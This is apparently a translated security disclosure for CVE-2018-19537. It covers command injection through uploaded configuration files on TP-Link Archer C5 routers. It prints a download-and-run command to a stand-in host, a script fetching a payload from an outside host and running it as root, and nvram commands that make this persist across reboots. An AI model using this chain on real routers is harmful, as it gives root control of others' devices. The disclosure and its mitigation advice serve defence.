CVE-2018-19537
TP-Link Archer C5 路由器的所有已发布固件版本中存在一个经过认证的远程代码执行(RCE)漏洞。通过上传精心制作的配置文件,攻击者可以注入以 root 权限运行的 OS 命令。
Archer C5 路由器允许管理用户将当前配置参数保存到文件,并从文件恢复参数。当用户尝试在 Web GUI 中设置这些参数时,它们似乎经过了适当的净化处理。然而,当从配置文件中设置这些参数时,它们并未得到适当的净化。特别是,我们通过上传配置文件中的 wan_dyn_hostname 1 <name> 参数注入了 OS 命令。其他参数也可能存在漏洞。
可以从路由器 Web GUI 的“备份与恢复”菜单下载有效的配置文件。以下 HTTP 请求将下载路由器当前配置的备份:
GET /userRpm/config.bin HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux ia64; rv:60.0) Foxfire/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/userRpm/BakNRestoreRpm.htm
Cookie: Authorization=Basic%20YWRtaW46cGFzc3dvcmQ%3D
Connection: close
Upgrade-Insecure-Requests: 1
响应中包含文件“config.bin”,即我们将要篡改的配置文件。
配置文件通过使用硬编码密钥进行 DES 加密来混淆。这个硬编码密钥似乎在多个 TP-Link 产品中重复使用。感谢 Matteo Croce 发现了这个硬编码密钥值。http://teknoraver.net/software/hacks/tplink/
附带了两个简单的 Python 脚本用于加密和解密配置文件——“binify.py”和“unbinify.py”。解密后的配置文件将包含如下参数:
wan_dns_auto 2 0
wan_dyn_mtu 1 1500
wan_dyn_mtu 2 0
wan_dyn_ucst 1 0
wan_dyn_ucst 2 0
wan_dyn_hostname 1 Archer_C5
wan_stc_ip 1 0.0.0.0
wan_stc_ip 2 0.0.0.0
wan_stc_msk 1 0.0.0.0
我们可以通过向“wan_dyn_hostname”参数添加恶意 BusyBox 命令来篡改此解密后的配置文件,如下所示:
wan_dyn_hostname 1 `wget -O - http://bad.url/hack | /bin/sh`
然后我们对新的恶意配置文件进行加密,并通过 Web GUI 上传。路由器将自动重启。在启动过程的早期,当 httpd 程序运行时,我们的恶意 BusyBox 命令被执行。httpd 相关部分的伪代码如下:
char hostname[64];
char to_run[256];
memcpy(hostname, some_value_somewhere, 63);
snprintf(to_run, 256, "udhcpc -h %s -i eth0", hostname)
system(to_run);
// Continue setting up network interfaces and connectivity
这个漏洞存在几个限制,甚至超出了必须使用 BusyBox 的限制。Dropbear SSH 服务器和 telnetd 似乎无法在无线局域网上工作,而且主机名被固件限制为 63 个字符。超过此限制会覆盖其他设置并破坏互联网访问。此外,httpd 必须在拥有任何网络连接之前从 system() 调用返回(因为我们利用的 system() 调用正是请求 WAN IP 的那个),并且根文件系统是只读的。上面示例的恶意命令不起作用;httpd 将无法通过 wget 获取 URL,因为它还没有互联网访问权限,它会从 system() 调用返回,然后继续正常运行。
因此,此时我们可以在只读文件系统上运行一个 63 字符的 BusyBox 命令,并且没有简单的方法让程序在完成网络连接设置后再执行我们的命令。我们不能简单地让它睡眠几分钟然后执行,因为我们注入的 system() 调用是阻塞执行的。
然而,我们可以做的一件事是在此时启动另一个 httpd 实例。这个 httpd 实例也会运行这个 system 调用,这会使我们陷入一个不断生成更多 httpd 实例的循环,但允许父 httpd 进程继续执行并最终恢复网络连接。为了避免内存耗尽,我们通过检查我们的漏洞利用是否已下载来终止此循环。
在上述限制条件下,我们编写了以下 shell 脚本,该脚本使用 wget 从互联网获取文件并直接通过管道传递给 /bin/sh。
cd /tmp
if [ ! -f B ]; then
httpd &
sleep 15
wget http://jackdoan.com/B
/bin/sh B
fi
或者,在一行上,精简后的版本:
cd /tmp; if [ ! -f B ]; then (httpd & sleep 15; wget http://jackdoan.com/B; /bin/sh B) fi
这个脚本有 89 个字符,太大了,所以我们需要分块上传。但怎么做呢?上传一条命令会导致重启,而重启会刷新路由器的状态。我们意识到可以创建自己的 NVRAM 变量,并在后续命令中引用它,逐步构建出一个最终运行的命令。
我们利用该漏洞注入以下命令,逐步构建漏洞利用:
; nvram set "a=cd /tmp; if [ ! -f B ]; then (htt";nvram commit
; nvram set "a=`nvram get a`pd & sleep 15; wget";nvram commit
; nvram set "a=`nvram get a` http://jackdoan.co";nvram commit
; nvram set "a=`nvram get a`m/B; /bin/sh B) fi"; nvram commit
最后,通过将主机名设置为以下内容来触发漏洞:
; udhcpc; nvram get a | /bin/sh ;
这个存储在路由器 NVRAM 中的脚本将在每次启动时运行,路由器会看起来继续正常工作。最终结果是,路由器每次启动都会连接到互联网,下载一个文件,并以 root 权限运行它。
如上所示,此漏洞可被利用,使路由器通过互联网连接,获取有效载荷,并以 root 权限运行。因此,对设备的机密性、完整性和可用性产生了严重影响。
通过配置文件的 wan_dyn_hostname 参数注入命令的过程很简单。要突破该命令的限制,运行任意有效载荷而不中断路由器的正常功能,则相对复杂。
此攻击具有一定可见性,因为它至少需要设备重启一次。我们的概念验证需要 5 次连续重启,但会一直持续,直到设备恢复出厂设置。
任何能够访问 Web 管理帐户的人都可以利用此漏洞。因此,使用路由器的默认配置(默认管理凭据为“admin:admin”),可以通过 LAN / WLAN 连接利用此漏洞。如果启用了远程管理,此漏洞还可以通过互联网远程利用。默认情况下远程管理是禁用的。
此漏洞相对简单,使我们相信它可能已经被发现并利用过。针对此攻击的防御也非常简单:不要使用默认的管理密码。为 Web 管理帐户设置强密码将阻止此攻击。由于它易于利用,也易于缓解,我们认为完全公开符合公众的最佳利益。
在我们的概念验证中,我们通过“wan_dyn_hostname”参数进行注入。然而,配置文件总共包含 1190 个参数,其中许多可能都存在注入点。